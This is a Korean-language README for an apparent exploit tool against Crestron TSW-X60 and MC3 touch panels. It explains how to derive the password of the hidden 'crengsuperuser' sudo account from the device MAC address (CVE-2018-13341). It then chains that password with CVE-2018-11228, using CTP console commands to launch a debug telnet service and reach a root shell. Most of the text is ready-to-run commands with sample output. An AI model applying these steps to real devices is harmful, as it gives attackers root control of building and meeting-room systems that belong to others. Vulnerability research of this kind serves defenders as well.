
CVE-2018-13341을 악용하여 Crestron 장치의 숨겨진 계정 비밀번호를 복구하는 도구
Ricky Lawshae의 Crestron TSW-X60 및 MC3 장치에 대한 발견을 기반으로, 이 도구는 CVE-2018-13341을 악용하는 것을 목표로 합니다. 대상 장치의 MAC 주소를 사용하여 상승된 권한을 가지며 SUDO 명령을 실행할 수 있는 "crengsuperuser" 숨겨진 계정의 비밀번호를 복구할 수 있습니다.
Crestron TSW-X60 (버전 2.001.0037.001 미만) 및 MC3 (버전 1.502.0047.00 미만)에서 특수 sudo 계정의 비밀번호는 일반 사용자 권한으로 접근 가능한 정보를 사용하여 계산될 수 있습니다. 공격자는 이러한 비밀번호를 해독하여 숨겨진 API 호출을 실행하고 상승된 권한으로 CTP 콘솔 샌드박스 환경을 탈출할 수 있습니다.
Crestron Toolbox Protocol (CTP)는 TSW-XX60 장치의 포트 41795에 접속하여 연결할 수 있습니다. 그런 다음 estat 명령을 사용하여 장치의 MAC 주소를 얻을 수 있습니다:
$ nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> estat
The EST command has been made obsolete. Please use IPCONFIG instead.
Ethernet Adapter [XYZ]:
Link Status ....... : OK
DHCP .............. : ON
MAC Address ....... : 00.XX.XX.XX.XX.XX
IP Address ........ : [removed]
Subnet Mask ....... : [removed]
IPV6 Address ...... : [removed]
Default Gateway ... : [removed]
DNS Servers ........ : [removed] | DHCP |
[removed] | DHCP |
이 도구는 cryptography 모듈이 필요합니다.
$ pip3 install cryptography
또는
$ pip3 install -r requirements.txt
usage: crestron_getsudopwd.py [-h] [-m MAC]
Tool to generate Crestron hidden accounts passwords
optional arguments:
-h, --help show this help message and exit
-m MAC, --mac MAC Target MAC address (w/o colons or dots)
# 예제
$ python3 crestron_getsudopwd.py -m aabbccddeeff
[*] Device MAC address: AABBCCDDEEFF
[*] Password for 'crengsuperuser': RgXkA6Q415puxN0t
CVE-2018-11228은 Crestron Terminal Protocol (CTP)의 Bash Shell Service를 통해 인증되지 않은 RCE를 허용합니다. "crengsuperuser" 숨겨진 계정의 비밀번호를 획득한 후 기본 Linux 박스에 root 액세스 권한을 얻을 수 있습니다.
$ nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> TELNETPORT OFF
Telnet Port: Off
TSW-760> SUDO RESTARTSERVICE telnetd_debug
Username: crengsuperuser
Password: **************
Service telnetd_debug restarted
TSW-760>
그런 다음, 새 셸에서 박스에 root 액세스 권한을 얻을 수 있습니다.
$ telnet w.x.y.z
bash-3.2# whoami
root
참고 : 이 예제는 TSW 장치용입니다. MC3 장치의 경우 과정이 약간 다릅니다. 셸을 활성화하려면 다음 명령을 사용해야 합니다:
SUDO -SN:crengsuperuser -SP:password REGEDIT \\comm\\telnetd addval UseAuthentication DWORD 0그런 다음,SUDO -SN:crengsuperuser -SP:password LAUNCH \\windows\\services.exe /params start tel0:
다음은 이 취약점과 관련된 흥미로운 리소스입니다: